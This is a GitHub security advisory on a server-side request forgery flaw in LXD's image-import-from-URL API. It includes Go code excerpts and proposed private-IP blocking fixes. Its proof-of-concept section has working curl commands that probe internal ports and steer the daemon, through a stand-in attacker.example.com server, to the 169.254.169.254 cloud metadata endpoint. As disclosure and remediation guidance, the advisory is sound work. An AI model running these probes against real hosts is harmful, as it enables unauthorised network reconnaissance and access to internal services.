GHSA-3gq2-x4qg-p4g6: LXD: SSRF via image import from URL allows internal network probing by authenticated users

Summary The LXD image import-from-URL endpoint (POST /1.0/images with source.type=url) makes server-side HTTP requests to an attacker-supplied URL without any private-IP or loopback blocking. An authenticated user with the cancreateimages entitlement can force the LXD daemon to connect to internal network addresses (127.0.0.1, RFC1918 ranges, cloud metadata endpoints), enabling port scanning via error-based inference and interaction with internal HTTP services from the daemon's privileged network position.

Severity

- Attack Vector: Network — LXD API is network-accessible. - Attack Complexity: Low — Single crafted API request with no special conditions. - Privileges Required: Low — Requires cancreateimages entitlement, a non-admin permission commonly delegated to regular users. - User Interaction: None. - Scope: Changed — The attacker leverages LXD's privileged network position to probe and interact with internal services that are outside the attacker's direct network access and outside the scope of LXD's image management authorization. - Confidentiality Impact: Low — Error messages reveal internal port states (open/closed/filtered) and service availability. Response bodies from internal services are NOT returned to the attacker (hash validation blocks content exfiltration). - Integrity Impact: None — No demonstrated ability to modify data on internal services. - Availability Impact: None — No meaningful resource exhaustion or denial of service.

Affected Component - lxd/images.go — imgPostURLInfo (lines 668–755) — Makes HEAD request to user-supplied URL without any SSRF protections. - lxd/util/http.go — HTTPClient (lines 102–147) — Creates HTTP client with no IP blocking or URL validation. - shared/network.go — RFC3493Dialer (lines 20–49) — Dials arbitrary hosts including private/loopback ranges. - lxd/daemonimages.go — ImageDownload (lines 478–510, "direct" case) — Makes GET request to URL from attacker-controlled response header.

Description

Core vulnerability: no SSRF protections on server-side image fetching

When a user imports an image from a URL, the imgPostURLInfo function makes an HTTP HEAD request directly to the user-supplied URL with zero validation:

go // lxd/images.go:668-703 func imgPostURLInfo(ctx context.Context, s state.State, req api.ImagesPost, ...) (api.Image, error) { if req.Source.URL == "" { return nil, errors.New("Missing URL") }

myhttp, err := util.HTTPClient("", s.Proxy) // ...

// Resolve the image URL head, err := http.NewRequest("HEAD", req.Source.URL, nil) // No URL validation, no scheme check, no IP range check // ...

raw, err := myhttp.Do(head) // Makes request to arbitrary destination

The HTTP client is created via util.HTTPClient which uses shared.RFC3493Dialer — a standard dialer with zero private-IP filtering:

go // shared/network.go:20-49 func RFC3493Dialer(context context.Context, network string, address string) (net.Conn, error) { host, port, err := net.SplitHostPort(address) // ... addrs, err := net.LookupHost(host) // ... for , a := range addrs { c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10time.Second) // No check: IsLoopback? IsPrivate? IsLinkLocalUnicast? // Connects to ANY resolved address including 127.0.0.1, 10.x.x.x, 169.254.169.254

The HTTP client also follows redirects unconditionally:

go // lxd/util/http.go:139-144 myhttp.CheckRedirect = func(req http.Request, via []http.Request) error { // Replicate the headers req.Header = via[len(via)-1].Header return nil // Always follows redirects — no destination validation }

No SSRF protections exist anywhere in the codebase

An exhaustive search for private-IP checks (IsLoopback, IsPrivate, IsLinkLocalUnicast), URL allowlists, or SSRF-specific protections found zero results in any HTTP client or outbound request path. The codebase has no SSRF defense infrastructure.

Chained SSRF via LXD-Image-URL response header

After the HEAD request, the LXD-Image-URL response header is used as the target for a second HTTP GET request, creating a chained SSRF:

go // lxd/images.go:705-725 hash := raw.Header.Get("LXD-Image-Hash") // Attacker controls this url := raw.Header.Get("LXD-Image-URL") // Attacker controls this

info, err := ImageDownload(ctx, s, op, &ImageDownloadArgs{ Server: url, // Attacker-controlled URL from response header Protocol: "direct", // Forces unprotected direct HTTP GET Alias: hash, // Attacker-controlled hash // ... })

In ImageDownload, the "direct" case makes a GET to the attacker-controlled URL:

go // lxd/daemonimages.go:478-510 case "direct": httpClient, err := util.HTTPClient(args.Certificate, s.Proxy) // ... req, err := http.NewRequest(http.MethodGet, args.Server, nil) // args.Server = attacker URL // ... raw, doneCh, err := cancel.CancelableDownload(canceler, httpClient.Do, req)

This means an attacker who controls the HEAD target can redirect the second GET request to any internal service. The response body is downloaded to disk but hash validation prevents the attacker from reading it:

go // lxd/daemonimages.go:541-544 result := hex.EncodeToString(sha256.Sum(nil)) if result != fp { return nil, fmt.Errorf("Hash mismatch for %q: %s != %s", args.Server, result, fp) }

Error observability enables port scanning

Errors from the outbound request propagate back to the caller via the operation result:

go // lxd/operations/operations.go:612-614 if op.err != nil { retOp.Err = response.SmartError(op.err).String() }

The error messages differ based on the target's state: - Port open: "Missing LXD-Image-Hash header" (HEAD succeeded, response had no expected headers) - Port closed: "connection refused" (connection rejected immediately) - Port filtered/host unreachable: "context deadline exceeded" / "no route to host" (timeout or routing error)

These differences allow systematic port scanning of internal networks from the LXD daemon's network position.

Execution chain

1. Attacker sends POST /1.0/images with {"source":{"type":"url","url":"http://127.0.0.1:6379/"}} 2. imagesPost handler verifies cancreateimages entitlement (line 1163) 3. Background operation calls imgPostURLInfo (line 1361) 4. imgPostURLInfo creates HTTP client via util.HTTPClient — no SSRF protections (line 675) 5. HEAD request to http://127.0.0.1:6379/ — no IP validation (line 700) 6. RFC3493Dialer resolves 127.0.0.1 and dials it — no private-IP check (line 33) 7. Error or response propagated back via operation (line 612-614 in operations.go) 8. Attacker queries operation result via GET /1.0/operations/{id}/wait and reads the error message

For chained SSRF: 1. Attacker points source.url to their own server 2. Their server responds with LXD-Image-Hash: <any> and LXD-Image-URL: http://169.254.169.254/latest/meta-data/ 3. LXD makes GET to http://169.254.169.254/... (line 493 in daemonimages.go) 4. Response body downloaded but hash validation prevents content exfiltration 5. Error messages still reveal whether the internal service responded (200 vs error)

Proof of Concept

bash Safe PoC: force daemon to connect to loopback port 1 (closed port). Error message will confirm server-side request occurred. SOCK=/var/lib/lxd/unix.socket

Create the operation OP=$(curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://127.0.0.1:1/"}}' \ | sed -n 's/."operation":"\([^"]\)"./\1/p')

Wait for result — expect "connection refused" confirming SSRF curl -s --unix-socket "$SOCK" "http://localhost${OP}/wait" Response will contain error with "connection refused" — confirms the daemon made a server-side connection to 127.0.0.1:1

Port scanning: compare errors for open vs closed ports Open port (e.g., LXD's own API on 8443): curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"https://127.0.0.1:8443/"}}' Expect: "Missing LXD-Image-Hash header" (connection succeeded, got HTTP response)

Closed port: curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://127.0.0.1:9999/"}}' Expect: "connection refused" (port not open)

Cloud metadata probe (chained SSRF): Step 1: Set up attacker server that responds to HEAD with: LXD-Image-Hash: deadbeef LXD-Image-URL: http://169.254.169.254/latest/meta-data/ Step 2: Point LXD at attacker server: curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://attacker.example.com/ssrf"}}' LXD will make GET to http://169.254.169.254/latest/meta-data/

Impact

- Internal network port scanning: Authenticated users can systematically probe internal networks reachable from the LXD host, identifying open services via error-based inference. - Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the daemon can be directed to connect to metadata endpoints (169.254.169.254), potentially triggering metadata interactions from the host's privileged network context. - Internal service interaction: The daemon makes real HTTP HEAD and GET requests to internal services, which could trigger side effects on services that process GET/HEAD requests. - Network topology disclosure: Error messages and timing differences reveal internal network structure, reachable hosts, and open ports. - Chained SSRF amplification: The LXD-Image-URL response header enables attackers to redirect the daemon's second HTTP GET request to any internal destination, doubling the attack surface.

Recommended Remediation

Option 1: Private-IP blocking in RFC3493Dialer (preferred — defense at lowest layer)

Add IP range validation in the shared dialer so ALL outbound HTTP requests from LXD are protected:

go // shared/network.go import "net/netip"

// isBlockedAddress returns true if the address is in a private, loopback, // or link-local range that should not be reachable via user-supplied URLs. func isBlockedAddress(ip string) bool { addr, err := netip.ParseAddr(ip) if err != nil { return true // Block unparseable addresses } return addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() }

// RFC3493DialerNoSSRF is a variant of RFC3493Dialer that blocks connections // to private/loopback/link-local addresses. func RFC3493DialerNoSSRF(context context.Context, network string, address string) (net.Conn, error) { host, port, err := net.SplitHostPort(address) if err != nil { return nil, err }

addrs, err := net.LookupHost(host) if err != nil { return nil, err }

var errs []error for , a := range addrs { if isBlockedAddress(a) { errs = append(errs, fmt.Errorf("connection to private/loopback address %s is not allowed", a)) continue } c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10time.Second) if err != nil { errs = append(errs, err) continue } tc, ok := c.(net.TCPConn) if ok { = tc.SetKeepAlive(true) = tc.SetKeepAlivePeriod(3 time.Second) } return c, nil }

return nil, fmt.Errorf("%s: %s (%v)", connectErrorPrefix, address, errs) }

Then use RFC3493DialerNoSSRF in util.HTTPClient when the caller is handling user-supplied URLs.

Option 2: URL validation in imgPostURLInfo (complementary)

Add scheme and destination validation at the handler level as defense-in-depth:

go // lxd/images.go — in imgPostURLInfo, before the HEAD request parsed, err := url.Parse(req.Source.URL) if err != nil { return nil, fmt.Errorf("Invalid URL: %w", err) }

if parsed.Scheme != "http" && parsed.Scheme != "https" { return nil, fmt.Errorf("Unsupported URL scheme %q: only http and https are allowed", parsed.Scheme) }

// Also validate the LXD-Image-URL from the response header before passing to ImageDownload url := raw.Header.Get("LXD-Image-URL") if url != "" { parsedRedirect, err := url.Parse(url) // Apply same scheme and IP validation }

Both options should be applied together. Option 1 protects all HTTP clients at the network layer (including the chained SSRF). Option 2 provides clear error messages and catches issues before a connection is attempted.

Credit This vulnerability was discovered and reported by bugbunny.ai.

Mitigation and additional fixes

In addition to the Image Registries feature in LXD 6.10 to resolve the main issue above we are also introducing a related change in LXD 6.8 to prevent the use of pull migration mode when migrating instances and volumes into restricted projects. In these circumstances one should use push or relay mode.

The documentation has also been updated to cover setting up an HTTP/HTTPS proxy in order to allow policy to be applied to control which remote image URLs can be used.

https://canonical.com/lxd/docs/latest/howto/securityharden/#restrict-outbound-requests